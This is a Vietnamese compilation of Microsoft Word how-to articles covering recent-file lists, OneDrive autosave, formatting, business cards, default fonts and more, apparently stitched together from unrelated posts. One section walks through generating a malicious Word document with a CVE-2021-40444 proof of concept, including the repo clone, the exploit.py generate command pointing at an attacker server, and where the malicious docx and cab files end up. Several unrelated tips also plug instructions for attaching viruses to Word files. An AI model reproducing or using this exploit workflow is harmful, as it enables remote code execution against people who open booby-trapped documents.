Đó là một cách khá nhanh chóng để tiếp tục công việc mà bạn đã bỏ dở lần trước. Bạn cũng đỡ phải tốn thời gian hơn để tìm File đó trên máy tính và mở nó.

Mặc dù đây là một tính năng thực sự hữu ích nhưng có thể không phải như vậy đối với một số người. Nếu bạn không thích người khác biết bạn đã mở File Word nào gần đây trong Word và bạn không muốn nó xuất hiện ở đó, thì bạn có thể vô hiệu hoá tính năng này. Bạn cũng có thể xóa các tài liệu cụ thể khỏi danh sách nếu không muốn tắt nó hoàn toàn.

Xóa một File được sử dụng gần đây trong Microsoft Word

Nếu bạn chỉ muốn xoá một hoặc một vài File khỏi danh sách File được sử dụng gần đây trong MS Word, bạn có thể thực hiện bằng cách nhấp chuột phải vào File và chọn Remove from list. Nó sẽ xóa các File bạn đã khỏi danh sách và bạn có thể làm điều đó với bao nhiêu File tùy thích.

File sẽ ngay lập tức bị xóa mà không cần bất kỳ lời nhắc nào. File tiếp theo trong danh sách sẽ chiếm vị trí của File đã xóa.

Xóa tất cả các File được sử dụng gần đây trong Microsoft Word

Nếu bạn không muốn bất kỳ File nào xuất hiện trong danh sách, bạn có thể xóa tất cả các File khỏi đó bằng cách chọn một tùy chọn duy nhất trong Word. Nó sẽ xóa toàn bộ danh sách và cho bạn một khoảng trống trên màn hình chính.

Các bước này sẽ hoạt động đối với MS Word 2019 / Office 365 mới nhất. Nếu bạn là người dùng Office 2016, hãy chuyển sang phần tiếp theo.

• Mở phần mềm MS Word trên máy tính của bạn.
• Mặc dù tùy chọn xóa toàn bộ danh sách gần đây được tích hợp trong Word, nhưng bạn sẽ không thấy tùy chọn này khi nhấp chuột phải vào bất kỳ File nào trên màn hình chính. Trước tiên, bạn cần nhấp vào Open ở menu bên trái của Word.
  
• Danh sách File gần đây của bạn sẽ xuất hiện trên menu bên tay phải. Để xóa tất cả các mục khỏi danh sách này, hãy nhấp chuột phải vào bất kỳ tài liệu nào trong danh sách và chọn Clear unpinned items.
• Một lời nhắc sẽ xuất hiện thông báo rằng tất cả các mục trong danh sách sẽ bị xóa. Bấm vào nút Yes để tiếp tục.

Bạn sẽ thấy rằng danh sách tài liệu gần đây của bạn đã được dọn trống.

Xóa các tài liệu được mở gần đây trong Word 2016/2019/2021/365

Nếu đang sử dụng Microsoft Word 2016, bạn có thể xóa toàn bộ danh sách File được sử dụng gần đây trong Word mà không cần chuyển đến menu Open.

Khi bạn đang ở trên màn hình chính của phần mềm, hãy nhấp chuột phải vào bất kỳ tài liệu nào gần đây của bạn và chọn Clear unpinned items. Nhấn Yes trong lời nhắc sau đó và danh sách sẽ bị xóa.

Như bạn có thể thấy, không có sự khác biệt lớn giữa Office 2019 và Office 2016 nhưng bạn nên biết chính xác vị trí của tùy chọn này trong các phiên bản phần mềm khác nhau.

Tắt tính năng File được mở gần đây trong Microsoft Word

Phần File được sử dụng gần đây trong Word có thể hữu ích với nhiều người dùng, ngay cả khi một số mục đã bị xóa. Tuy nhiên, nếu bạn hoàn toàn không sử dụng nó và bạn thấy nó chiếm chỗ không cần thiết trên màn hình chính của Word, bạn thực sự có thể xóa nó.

Phần File gần đây có thể bị vô hiệu hóa hoàn toàn và có một tùy chọn tích hợp trong phần mềm để thực hiện việc đó. Ngoài ra, nếu bạn muốn bật lại nó, bạn có thể làm như vậy bằng cách thay đổi cài đặt bạn vừa thực hiện.

• Mở Microsoft Word trên máy tính của bạn.
• Trên màn hình chính, hãy tìm tùy chọn Options, thường nằm ở góc dưới bên trái và nhấp vào tùy chọn đó.
• Một hộp thoại sẽ mở ra trên màn hình cho phép bạn quản lý một số cài đặt cho Word. Bạn cần tìm tùy chọn có nội dung Advanced ở menu bên trái và nhấp vào tùy chọn đó.
• Cuộn xuống cho đến khi bạn tìm thấy phần có nội dung Display. Sẽ có một mục có tên Show this number of Recent Documents. Những gì bạn cần làm là giảm số từ bất kỳ giá trị nào hiện tại xuống 0 (không). Bạn cũng có thể nhập trực tiếp số 0.
• Nhấp vào nút OK ở dưới cùng để lưu các thay đổi.
• Lần tiếp theo khi khởi chạy chương trình, bạn sẽ thấy rằng không có File nào trong danh sách.

Những gì bạn thực sự đã làm ở trên là đặt số lượng tài liệu gần đây thành 0.

Cách khôi phục danh sách File được sử dụng gần đây trong Word

Nếu bạn cần khôi phục danh sách tài liệu gần đây, bạn có thể làm như vậy bằng cách mở cùng bảng Options rồi nhấp vào Advanced.

Sau đó, nhập số lượng tài liệu gần đây bạn muốn xem trong tùy chọn đầu tiên của phần Display  và nhấn OK.

Ngoài ra, bạn cũng nên cảnh giác thủ đoạn đính kèm Virus vào File Word mới nhất 2022 tại đây.

Câu hỏi thường gặp

Làm thế nào để xóa một file cụ thể khỏi danh sách “File được mở gần đây” trong Word?

Nhấp chuột phải vào file đó trong danh sách “Recent” trên tab Home và chọn “Remove from list”.

Làm thế nào để xóa tất cả các file khỏi danh sách “File được mở gần đây” trong Word?

Mở menu “Open”, nhấp chuột phải vào bất kỳ file nào trong danh sách và chọn “Clear unpinned items”. Xác nhận bằng cách chọn “Yes” trong cửa sổ xác nhận.

Tôi có thể tắt hoàn toàn tính năng hiển thị “File được mở gần đây” trong Word không?

Có thể. Vào Options > Advanced > Display và đặt “Show this number of Recent Documents” thành 0.

Nếu bạn có đăng ký Microsoft 365, thì bạn sẽ nhận được 1TB dung lượng lưu trữ OneDrive miễn phí cùng với bộ phần mềm Microsoft Office. Vậy nên bạn tận dụng 1TB dung lượng của OneDrive để tự động lưu tài liệu của mình. Cùng bắt đầu nhé.

Tự động lưu file Word vào One Drive

Trước khi bắt đầu, mình cần bạn đáp ứng một số yêu cầu sau: Cách này chỉ hoạt động nếu bạn có đăng ký Microsoft 365. Bao gồm cả gói cá nhân và gia đình, nhưng lại không hoạt động với giấy phép sử dụng một lần cho Office.

Bạn cũng cần mở cả ứng dụng Word và OneDrive trên máy tính và đăng nhập bằng tài khoản Microsoft của mình. Khi bạn đăng nhập vào OneDrive, ứng dụng sẽ hướng dẫn bạn quy trình thiết lập nhanh chóng. Lưu ý rằng bạn cần có kết nối internet để thiết lập OneDrive và đảm bảo rằng các tài liệu đang được lưu và tự động đồng bộ hóa.

Khi bạn đã thực hiện xong các yêu cầu này, hãy mở Microsoft Word và tạo tài liệu mới bằng cách nhấn vào nút “File”.

Tiếp theo, chọn “New” trong menu bên trái.

Bây giờ, hãy chọn “Blank Document” hoặc bất kỳ template nào từ danh sách ở phía bên phải.

Bạn sẽ thấy nút có tên “AutoSave” ở trên cùng bên trái của cửa sổ Word. Nhấp vào nút “AutoSave” để chuyển sang “On”.

Word sẽ nhắc bạn chọn thư mục để lưu file tự động vào đó. Chọn “OneDrive”.

Đặt tên cho file của bạn và Word sẽ lưu tệp trong thư mục Documents của OneDrive.

Bạn chỉ cần lưu file thủ công một lần khi bắt đầu và Microsoft Word sẽ lo phần còn lại. Phương pháp này cũng cho phép bạn tiếp tục công việc của mình trên các thiết bị khác, vì vậy bạn có thể dễ dàng làm việc trên PC và sau đó chuyển sang điện thoại hoặc laptop, miễn là bạn sử dụng Office và OneDrive được đồng bộ hóa trên các thiết bị khác.

Lưu file Word vào thư mục khác trong OneDrive

Nếu bạn muốn sắp xếp các file Microsoft Word của mình gọn gàng, bạn có thể tạo các thư mục khác nhau trong OneDrive và lưu file vào đó. Đây là những gì bạn cần làm.

Mở bất kỳ file Word nào rồi nhấn vào “File”.

Chọn “Save a Copy”.

Chọn tiếp “OneDrive” trong phần Save a Copy.

Để kiểm tra vị trí lưu file, hãy nhấp vào tên của file ở thanh trên cùng Microsoft Word.

Bây giờ bạn sẽ thấy tên tệp và vị trí lưu file.

Vậy là xong rồi đó. Ngoài ra, bạn cũng có thể đính kèm virus vào file Word tại đây.

Câu hỏi thường gặp

Tôi cần đáp ứng những yêu cầu gì để tự động lưu file Word vào OneDrive?

Bạn cần đăng ký Microsoft 365 (gói cá nhân hoặc gia đình), cài đặt và đăng nhập vào cả ứng dụng Word và OneDrive trên máy tính, và có kết nối internet.

Làm thế nào để thay đổi thư mục lưu file tự động trong OneDrive?

Mở file Word, chọn “File” > “Save a Copy”, chọn OneDrive, tạo thư mục mới hoặc chọn thư mục đã có, rồi nhấn “Save”.

Nếu tôi không có kết nối internet, liệu file Word của tôi có được tự động lưu không?

Không, tính năng tự động lưu đòi hỏi kết nối internet để đồng bộ hóa file lên OneDrive.

PoC CVE-2021-40444 là gì?

Mã CVE-2021-40444 không phải là một lỗ hổng Office hoàn toàn, vì việc khai thác tận dụng MSHTML web renderer (Internet Explorer) ActiveX control. Tuy không phải là một trình duyệt hoàn chỉnh nhưng nó là một “web engine” cốt lõi của Internet Explorer và có thể được sử dụng riêng để tạo các phiên trình duyệt hoặc ứng dụng giống như trình duyệt cần hoặc muốn hiển thị các tệp HTML.

Chính vì vậy, để khai thác CVE-2021-40444, kẻ tấn công chỉ cần DOCX, RTF hoặc bất kỳ tệp nào khác có thể trỏ đến OLE objects từ xa. Hiện vẫn chưa thấy có dấu hiệu khai thác lỗ hỏng nguy hiểm này từ các tin tặc ngoài việc chỉ thông qua Microsoft Office

Phần mềm tạo file docx độc hại để khai thác mã lỗi CVE-2021-40444 (Thực thi mã từ xa Microsoft Office Word).

Việc tạo Tập lệnh này dựa trên một số kỹ thuật đảo ngược đối với mẫu được sử dụng trong tự nhiên: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (tệp docx)

Bạn cần cài đặt lcab trước ( sudo apt-get install lcab)

Nếu file cab đã tạo của bạn không hoạt động, hãy thử trỏ tới file URL trong explore.html tới calc.cab

Đính kèm mã độc vào file Word, Excel, PowerPoint

Công cụ này sẽ giúp bạn tạo ra một file Word độc hại, khi mở file , sẽ có một hàm trỏ tới test/calc.dll dùng để mở chương trình máy tính Calculator của Windows lên.

Trước tiên chúng ta cần tải PoC CVE-2021-40444

git clone https://github.com/anonyvietofficial/CVE-2021-40444.git

python3 exploit.py generate test/calc.dll http://<SRV IP>

File word được đính kèm mã độc sẽ nằm trong thư mục out, file cab độc hại nằm trong thư mục srv. Bây giờ bạn có thể thiết lập Server

Thử mở file docx vừa được tạo trong máy ảo, chúng ta sẽ thấy File Word mở lên và chương trình máy tính Calculator cũng mở lên theo.

Làm sao ngăn chặn file Word độc hại CVE-2021-40444

Nếu bạn nhận file Word từ những nguồn đáng ngờ, trước tiên cần quét Virus từ các phần mềm chính hãng có bản quyền.

Nếu chỉ có nhu cầu đọc file, không có nhu cầu sửa file thì không nên bật chế độ Protected View “Enable Editing”.

Nếu bạn cần sửa file, tốt nhất là upload file lên Google Drive, sau đó dùng tính năng của Google Tài liệu để chỉnh sửa.

Câu hỏi thường gặp

CVE-2021-40444 là gì và nó hoạt động như thế nào?

CVE-2021-40444 là một lỗ hổng bảo mật trong MSHTML (Internet Explorer) cho phép kẻ tấn công thực thi mã từ xa bằng cách nhúng các đối tượng OLE từ xa vào các file Word, Excel, hoặc PowerPoint. Nó lợi dụng trình xử lý web của MSHTML để thực thi mã độc.

Làm thế nào để bảo vệ bản thân khỏi CVE-2021-40444?

Tránh mở các file từ nguồn không đáng tin cậy. Sử dụng phần mềm diệt virus cập nhật. Nếu cần chỉnh sửa file, hãy sử dụng Google Tài liệu hoặc các dịch vụ tương tự để giảm thiểu rủi ro. Không kích hoạt “Enable Editing” trong chế độ Protected View trừ khi bạn hoàn toàn tin tưởng nguồn gốc của file.

Khi nào Microsoft sẽ phát hành bản vá lỗi cho CVE-2021-40444?

Theo bài viết, thời điểm phát hành bản vá lỗi của Microsoft chưa được xác định rõ, tuy nhiên người viết đề cập đến việc chờ bản vá lỗi định kỳ vào thứ Ba tuần tới.

Cách xóa tất cả định dạng trong Microsoft Word

Để xóa định dạng văn bản, hãy chọn văn bản mà bạn muốn xóa định dạng. Để chọn tất cả văn bản trong tài liệu của bạn, hãy nhấn tổ hợp phím tắt Ctrl + A trên Windows hoặc Command + A trên Mac. Tiếp theo truy cập vào tab Home, trong phần Styles, nhấn vào nút “Styles Pane”.

Menu Styles sẽ bật lên ở bên phải màn hình của bạn. Chọn “Clear Formatting” ở đầu danh sách “Apply a style“.

Bạn cũng có thể chọn nội dung mà bạn muốn xóa định dạng và nhấp vào nút Clear All Formatting trong phần Font của tab Home.

Ngay cả khi bạn nhấn Ctrl + A trên Windows hoặc Command + A trên Mac để chọn tất cả nội dung trong tài liệu của mình, nội dung trong Text Box, đầu trang (headers) và chân trang (footers) đều phải được xóa định dạng một cách riêng biệt.

Nếu bạn không thể xóa định dạng khỏi bất kỳ nội dung nào trong tài liệu của mình, thì tài liệu đó có thể đã được bảo vệ khỏi các thay đổi định dạng. Trong trường hợp đó, bạn không thể xóa định dạng hoặc định dạng lại tài liệu cho đến khi mật khẩu bị xóa.

Ngoài ra, bạn cũng có thể đọc bài viết này để biết cách đính kèm file Virus vào Microsft Word. Nếu bạn không muốn sử dụng cách cách trên thì mình sẽ hướng dẫn cho các bạn thêm 1 cách nữa. Khi các bạn copy nội dung văn bản vào bộ nhớ đệm thì thay vì sử dụng Ctrl + V để dán nội dung, hãy sử dụng Ctrl + Shift + V.

Câu hỏi thường gặp

Tôi có thể xóa tất cả định dạng trong tài liệu Word như thế nào?

Bạn có thể chọn văn bản cần xóa định dạng, sau đó nhấn vào nút “Clear Formatting” trong bảng Styles (trên tab Home) hoặc nút “Clear All Formatting” trong phần Font (trên tab Home). Để chọn toàn bộ văn bản, dùng tổ hợp phím Ctrl+A (Windows) hoặc Command+A (Mac).

Làm thế nào để xóa định dạng trong Text Box, đầu trang và chân trang?

Bạn cần xóa định dạng cho các phần này riêng biệt, việc chọn toàn bộ văn bản bằng Ctrl+A hoặc Command+A sẽ không bao gồm chúng.

Nếu tôi không thể xóa định dạng, nguyên nhân có thể là gì?

Tài liệu của bạn có thể đã được bảo vệ khỏi các thay đổi định dạng. Bạn cần bỏ bảo vệ tài liệu trước khi có thể xóa định dạng.

Thiết kế danh thiếp trong Word

Trước khi thiết kế  danh thiếp, ta cần phải hiểu điều quan trọng là nội dung nào nên thêm vào danh thiếp. Mặc dù nội dung trên danh thiếp có thể khác nhau tùy theo ngành nghề của bạn, nhưng đây là những thông tin cơ bản cần phải có:

• Họ và Tên
• Chức vụ
• Địa chỉ
• Số điện thoại
• Địa chỉ web
• Email
• Logo công ty

Tiếp theo, mình sẽ hướng dẫn các bạn cách thiết kế danh thiếp. Đầu tiên, mở Microsoft Word, chuyển đến tab “File” và sau đó chọn “New” ở menu bên trái.

Trong thanh tìm kiếm ở đầu cửa sổ, tìm từ khóa “Business Cards“. Một lượng lớn các maẫu template danh thiếp sẽ xuất hiện để bạn lựa chọn.

Chọn template card vist mà bạn thích nhất. Sau đó, bạn sẽ có thể xem trước hình ảnh và mô tả về template đó. Nhấn “Create”.

Danh thiếp của bạn sẽ sẽ xuất hiện và việc cần làm bây giờ đó là điền thông tin của bạn vào.

Thiết kế danh thiếp thủ công bằng Word

Nếu bạn không tìm thấy các template mình thích ở trên, thì bạn vẫn có thể thiết kế danh thiếp riêng cho mình thông qua việc tạo bảng, thêm ảnh, và định dạng văn bản thủ công.

Mở một trang Word trống, vào tab “Insert“, rồi nhấn “Table“.

Tạo bảng 2×4. Bạn có thể tạo theo kích thước bảng bạn muốn, nhưng 2×4 sẽ phù hợp với trang word hơn.

Khi tạo bảng xong thì bạn cần phải chỉnh sửa chút. Nhấp chuột phải vào hình chữ thập khi chọn của bảng, sau đó chọn “Table Properties“.

Cửa sổ “Table Properties” sẽ xuất hiện. Trong tab “Table”, chọn “Center” trong ô “Alignment”. Nó sẽ giúp bạn giữ cho thông tin của mình đều và đẹp.

Tiếp theo, vào tab “Row”. Tại đây, chọn ô “Specify height”, tăng height lên 2 inch, và sau đó chọn “Exactly”.

Giờ hãy đến tab “Column”. Chọn ô “Preferred width”, tăng độ rộng lên 3 inch và nhấn vào “OK”.

Bảng của bạn đã được thay đổi kích thước để phù hợp với kích thước của danh thiếp tiêu chuẩn. Dù vậy, bạn có thể thấy bảng rộng hơn một chút so với độ rộng của lề.

Để khắc phục, hãy đến tab “Layout” sau đó chọn vào nút “Margins”.

Chọn “Narrow” trong menu.

Danh thiếp của bạn bây giờ sẽ nằm trong lề trang.

Bây giờ, tất cả những gì bạn cần làm là thêm thông tin của mình vào bảng, sử dụng các công cụ định dạng để định dạng văn bản, thêm hình ảnh và bạn đã thiết kế xong danh thiếp rồi đó. Thử lồng ảnh vào chữ và thiết kế thêm chi tiết hoa văn để danh thiếp trở nên sinh động.

Câu hỏi thường gặp

Tôi có thể sử dụng mẫu danh thiếp sẵn có trong Word không?

Có, Word cung cấp nhiều mẫu danh thiếp (Business Cards) sẵn có. Bạn chỉ cần tìm kiếm “Business Cards” trong thanh tìm kiếm khi tạo tài liệu mới và chọn mẫu ưng ý.

Nếu không thích mẫu sẵn có, tôi có thể tự thiết kế danh thiếp trong Word không?

Hoàn toàn được! Bạn có thể tạo bảng, thêm ảnh và định dạng văn bản thủ công để thiết kế danh thiếp theo ý muốn. Bài viết đã hướng dẫn chi tiết cách tạo bảng và điều chỉnh kích thước phù hợp với danh thiếp tiêu chuẩn.

Tôi cần những thông tin gì để thiết kế một danh thiếp hiệu quả?

Thông tin cơ bản cần có gồm: Họ và tên, chức vụ, địa chỉ, số điện thoại, địa chỉ web và email. Bạn cũng có thể thêm logo công ty để tăng tính chuyên nghiệp.

Sử dụng nút “¶” của Microsoft Word để hiển thị tất cả các xuống dòng.

Nếu bạn đang định dạng thứ gì đó phức tạp hơn các đoạn văn bản cơ bản, chẳng hạn như sơ yếu lý lịch, thì biểu tượng “¶” sẽ giúp bạn nào nó dễ dàng hơn. Điều này cho bạn thấy mọi ngắt dòng trong tài liệu của bạn, đây là một cách tuyệt vời để đảm bảo tất cả các khoảng cách đều chính xác và nhất quán.

” ¶” có thể được tìm thấy trong thanh công cụ “Paragraph Settings”, theo mặc định, nút này nằm ở đầu màn hình trong tab “Home”.

Chuyển đổi PDF thành tài liệu Word có thể chỉnh sửa

Khi bạn mở PDF trong Word, nó sẽ tự động chuyển đổi biểu mẫu sang định dạng .docx, cho phép bạn nhập văn bản vào tài liệu.

Ký tên trên Word

Khi các bạn làm CV hay những văn bản quan trọng thì không thể thiếu chữ kí. Vì vậy Word có tính năng có thể giúp bạn : Shape

Vào Insert -> Shape -> lines và ở góc phải , có 1 hình giống như sau

Con trỏ của bạn sẽ biến thành hình chữ thập. Nhấp và kéo chuột vào bất kỳ đâu để viết chữ ký . Sau khi hoàn thành, nó sẽ được chuyển đổi thành một bức tranh  có thể di chuyển và thay đổi kích thước.

Bảo vệ tài liệu bằng Password

Để tăng cường bảo mật, bạn có thể thêm bảo vệ bằng mật khẩu vào tài liệu. Điều này sẽ làm cho nó để bất kỳ ai mở tài liệu sẽ cần phải nhập mật khẩu.

Vào File -> Protect Document -> Encrypt with Password -> nhập mật khẩu của bạn

Nhập văn bản sử dụng giọng nói

Với nút “Dictate“, ở trên cùng bên phải của menu “Home” , nó có thể chuyển lời nói của mình thành lời một cách liền mạch. Điều này rất tốt để ghi chú nhanh hoặc ghi chép các cuộc phỏng vấn.

Có thể cần phải quay lại và thực hiện các chỉnh sửa- như bất kỳ phần mềm chuyển giọng nói thành văn bản nào – nhưng thời gian tiết kiệm được sẽ nhiều hơn.

Chế độ tập trung

Viết bằng Microsoft Word có nghĩa là viết trên máy tính, có nghĩa là có quyền truy cập vào internet và tất cả các yếu tố gây cản trở việc hoàn thành 1 văn bản. Nếu cần tập trung vào bài viết của mình, hãy xem chế độ “Focus” của Word. Nó sẽ loại bỏ toàn bộ các phím chức năng khác, chỉ để lại văn bản soạn thảo. Nó sẽ giúp ích rất nhiều cho những người viết dễ bị chệch hướng. 

Để bật Focus mode : Vào View -> Focus

Sử dụng Search mà không phải rời khỏi Word

Nói về việc mất tập trung, Word cung cấp một cách để tra cứu thông tin mà không yêu cầu bạn phải điều hướng  giống Bing hoặc Google.

Tất cả những gì bạn phải làm để sử dụng tính năng tìm kiếm thông minh là đánh dấu từ hoặc cụm từ bạn muốn tra cứu, nhấp chuột phải vào nó và chọn “Search”. Một thanh bên sẽ xuất hiện cung cấp cho bạn các kết quả tìm kiếm hàng đầu.

Sử dụng các phím tắt đơn giản để viết các ký tự có dấu hoặc đặc biệt.

Việc gõ các chữ cái có dấu có thể là một khó khăn đối với người dùng song ngữ. May mắn thay, Word có một số phím tắt giúp bạn dễ dàng thêm các ký tự có dấu. Ví dụ, nếu bạn muốn gõ É, bạn có thể gõ Ctrl + ‘+ E. 

Sau đây là bảng về từng kí tự đặc biệt

Sử dụng Resume Assistance để nhận trợ giúp từ LinkedIn

Microsoft đã mua lại trang web tìm việc làm LinkedIn, nơi tạo ra một tính năng tuyệt vời trong Word – Resume Assistant.

Điều hướng đến “Review“, sau đó chọn “Resume Assistant” để bắt đầu. Nhập vai trò và ngành cho lĩnh vực của bạn và bạn sẽ có thể so sánh và đối chiếu sơ yếu lý lịch của mình với các hồ sơ LinkedIn.

Sử dụng văn bản mẫu để check font

Giả sử bạn muốn kiểm tra phông chữ trông như thế nào hoặc cách định dạng các trang nhất định, nhưng không có bất kỳ chữ viết nào để kiểm tra.

Lorem Ipsum là văn bản phụ – các từ và câu vô nghĩa có cấu trúc chính xác như các từ và câu thực tế. Nếu bạn chỉ cần văn bản làm trình giữ chỗ, Lorem Ipsum là lựa chọn hoàn hảo cho công việc này

Chọn vào chỗ trống cần điền văn bản và nhập =Lorem()  sau đó nhấn Enter. Nó sẽ xuất hiện 5 đoạn văn ngắn và chúng có thể chỉnh sửa như những văn bản thông thường

Double-click để có thể viết bất cứ đâu trong văn bản

Nếu muốn viết văn bản trên một phần cụ thể của trang, bạn không cần phải kết hợp phím Enter và phím cách để vào phần đó. Chỉ cần Double-click vào bất kỳ phần nào của trang trống để di chuyển con trỏ đến đó và bắt đầu viết.

Sử dụng “Translate” để dịch văn bản trên Word

Để dịch văn bản sang ngôn ngữ khác, tất cả những gì bạn phải làm là chọn văn bản, nhấp chuột phải và nhấn vào “Translate” trong Word. Translator sẽ hiển thị văn bản, sau  chọn ngôn ngữ muốn dịch. Sau đó đặt văn bản đã dịch vào tài liệu bằng “Insert”.

Sử dụng phím CTRL để chọn câu

Các phím tắt lựa chọn cho phép bạn tiếp cận nhanh chóng để chỉnh sửa các câu hoặc nhiều dòng văn bản trong các khu vực riêng biệt trong tài liệu của bạn.

Nếu giữ phím Ctrl và nhấp vào một từ, sẽ đánh dấu toàn bộ câu có từ đó. Nếu  tiếp tục giữ phím, bạn có thể nhấp đúp vào các từ hoặc dòng khác để chọn chúng, ngay cả khi chúng không được liền mạch. Điều này cho phép chỉnh sửa tất cả văn bản đã chọn cùng một lúc, thay vì từng cái một.

Sử dụng Template

Thay vì bắt đầu từ đầu khi xây dựng sơ yếu lý lịch, menu, tài liệu quảng cáo hoặc các dự án khác, bạn có thể sử dụng Template có sẵn trong Word. Các Template này được cung cấp bởi Microsoft  để bạn có thể bắt đầu làm việc ngay lập tức. Bạn sẽ thấy các mẫu xuất hiện bất cứ khi nào bạn tạo một tài liệu mới. Để sử dụng một, chỉ cần nhấp vào nó. Bạn cũng có thể sử dụng thanh tìm kiếm để tìm các mẫu mới, ngoài bộ cài đặt sẵn.

Tự tạo template

Nếu bạn thấy mình thường xuyên viết cùng một loại tài liệu – có thể bạn là sinh viên cần đặt tiêu đề trên mỗi tờ giấy – bạn có thể tạo một mẫu tùy chỉnh, cho phép Word giải quyết công việc bận rộn.

Tạo một tài liệu mới và định dạng nó theo cách bạn muốn. Sau đó, đi tới “Save as” và thay đổi loại tệp thành “Word Template (* .dotx).”

Và vừa rồi mình vừa hướng dẫn 15 mẹo sử dụng Word mà ai cũng nên biết. Hãy để lại bình luận để mình biết các bạn nghĩ gì nhé. Xem thêm cách download Office 2019 tại đây.

Câu hỏi thường gặp

Làm thế nào để hiển thị tất cả các xuống dòng trong Word?

Nhấn vào biểu tượng “¶” trong thanh công cụ “Paragraph Settings” (tab “Home”). Biểu tượng này sẽ hiển thị tất cả các ngắt dòng trong tài liệu của bạn, giúp bạn dễ dàng kiểm tra khoảng cách và định dạng.

Tôi có thể chuyển đổi file PDF thành tài liệu Word có thể chỉnh sửa được không?

Có thể! Mở file PDF trong Word. Word sẽ tự động chuyển đổi file PDF sang định dạng .docx, cho phép bạn chỉnh sửa văn bản.

Làm cách nào để thêm chữ ký vào tài liệu Word?

Vào “Insert” -> “Shape” -> “Lines”, chọn hình chữ ký (biểu tượng bút). Sau đó, bạn có thể viết chữ ký bằng chuột. Chữ ký sau khi hoàn thành sẽ được chuyển đổi thành hình ảnh có thể di chuyển và thay đổi kích thước.

Cách thay đổi font chữ mặc định trong Word

Mở hoặc tạo tài liệu Word mới. Chọn văn bản và nhấp vào nút mũi tên kế bên chữ “Font” trong phần “Font” của tab “Home”.

Trên hộp thoại “Font”, chọn font chữ bạn muốn đặt làm mặc định trong danh sách “Font” và nhấp vào nút “Set As Default”.

Một hộp thoại sẽ hỏi bạn sẽ đặt font chữ mặc định chỉ cho tài liệu hiện tại hay cho tất cả các tài liệu khác. Chọn “All documents based on the Normal.dotm template” và nhấn “OK”.

LƯU Ý: Font chữ mặc định mới chỉ được lưu vào template hiện đang được sử dụng. Các tài liệu hiện có sẽ không bị thay đổi trong lần mở tiếp theo.

Đối với văn bản tại Việt Nam, bạn nên để theo thông số: Times new Roman và cỡ chữ 13 hoặc 14, để sau này soạn văn bản khỏi phải chỉnh sửa nhiều.

Nếu bạn có một template tùy chỉnh được áp dụng cho tài liệu hiện tại, font chữ mặc định sẽ được lưu trong template đó chứ không phải trong template khác. Cách dễ nhất để thay đổi font chữ mặc định trong mẫu khác là tạo một tài liệu mới và sau đó làm theo các bước trong bài viết này.

Vậy là các bạn đã thay đổi font chữ mặc định trong Microsoft Word thành công rồi đó. Giờ đây, bạn không cần phải thay đổi font chữ nữa. Tất cả những gì bạn cần làm là mở Word và làm việc mà không cần lo lắng về vấn đề font chữ nữa. Ngoài ra, bạn cũng có thể đính kèm virus vào file word tại đây.

Câu hỏi thường gặp

Tôi có thể thay đổi font chữ mặc định cho tất cả tài liệu Word của mình không?

Có thể. Sau khi chọn font chữ mong muốn, hãy chọn “All documents based on the Normal.dotm template” trong hộp thoại xác nhận để áp dụng cho mọi tài liệu mới dựa trên mẫu chuẩn.

Nếu tôi đã có nhiều tài liệu Word, liệu việc thay đổi font chữ mặc định có ảnh hưởng đến chúng?

Không. Việc thay đổi chỉ ảnh hưởng đến các tài liệu Word mới được tạo sau khi thay đổi. Các tài liệu hiện có sẽ giữ nguyên font chữ cũ.

Font chữ mặc định được lưu ở đâu?

Font chữ mặc định được lưu trong mẫu (template) đang được sử dụng, thường là Normal.dotm. Nếu bạn sử dụng mẫu tùy chỉnh, font chữ sẽ được lưu trong mẫu đó.

Cách Chèn ảnh vào Chữ trong Microsoft Word

Cách Chèn ảnh hay còn gọi là lồng vào bên trong chữ được thực hiện dễ dàng bằng Word mà không cần dùng đến phần mềm Photoshop nặng nề.

Đầu tiên, các bạn cần mở phần mềm Word. Trong nhóm “Illustrations” của tab “Insert”, nhấn vào “SmartArt”.

Cửa sổ “Choose a SmartArt Graphic” sẽ xuất hiện. Trong menu bên trái, chọn “List”. Bạn cũng có thể chọn cái khác nếu thích.

Tiếp theo, chọn SmartArt mà bạn muốn sử dụng từ các tùy chọn có sẵn. Mình sẽ sử dụng SmartArt “Basic Block List”. Sau khi chọn xong, thì nhấp vào “OK”.

SmartArt sẽ xuất hiện trong Microsoft Word. Bây giờ, hãy xóa tất cả và để lại một mục bằng cách nhấp vào từng mục và nhấn phím Delete.

Tiếp theo, nhập văn bản bạn muốn vào mục còn lại.

Ảnh trên đã được mình phóng to chữ và đổi font để nhìn thấy ảnh chèn trong chữ rõ hơn:

• Font: Cooper Black
• Size: 82 pt.
• Format: Bold (Tô đậm)

Tiếp theo, tô đen văn bản có trong SmartArt. Trong nhóm “WordArt Styles” của tab “Format”, nhấn vào tùy chọn “Text Fill”.

Chọn tiếp “Picture”.

Cửa sổ “Insert Pictures” sẽ xuất hiện. Tại đây, hãy chọn nơi bạn muốn chèn ảnh:

• From a File: Chọn ảnh từ máy tính của bạn.
• Stock Images: Chọn ảnh từ thư viện hình ảnh có sẵn.
• Online Pictures: Tìm ảnh trực tuyến.
• From Icons: Chọn icon từ thư viện icon của Word.

Mình sẽ chọn Stock image.

Chọn ảnh của bạn và nhấp vào “Insert”.

Vậy là bạn đã chèn ảnh vào văn bản thành công rồi đó.

Tiếp theo, bạn có thể xóa nền SmartArt. Chọn SmartArt,  vào tab “Format“, hãy nhấp vào “Shape Fill”.

Tiếp theo chọn “No Fill”.

Nền SmartArt bây giờ đã bị xóa, và chỉ còn lại văn bản. Như vậy ảnh lồng vào chữ đã hiện ra mà không có nền bên dưới.

Dù không còn tiện lợi như trước nhưng với thủ thuật nhỏ này, bạn vẫn có thể chèn ảnh vào chữ của mình rồi đó. Như vậy bạn đã lồng ảnh vào chữ bằng Word một cách đơn giản mà không cần phải dùng phần mềm Photoshop phức tạp.

Câu hỏi thường gặp

Tôi có thể chèn ảnh trực tiếp vào chữ trong Word như trước đây không?

Không, tính năng chèn ảnh trực tiếp vào chữ đã bị loại bỏ từ Word 2013 trở đi. Tuy nhiên, bạn vẫn có thể đạt được hiệu ứng tương tự bằng cách sử dụng SmartArt.

Tôi cần phần mềm nào khác ngoài Microsoft Word để thực hiện việc này?

Bạn không cần bất kỳ phần mềm nào khác. Tất cả các bước đều được thực hiện hoàn toàn trong Microsoft Word.

Nếu tôi muốn sử dụng ảnh từ máy tính của mình, tôi làm thế nào?

Trong bước chọn hình ảnh, hãy chọn “From a File” và duyệt đến ảnh bạn muốn sử dụng trên máy tính của mình.

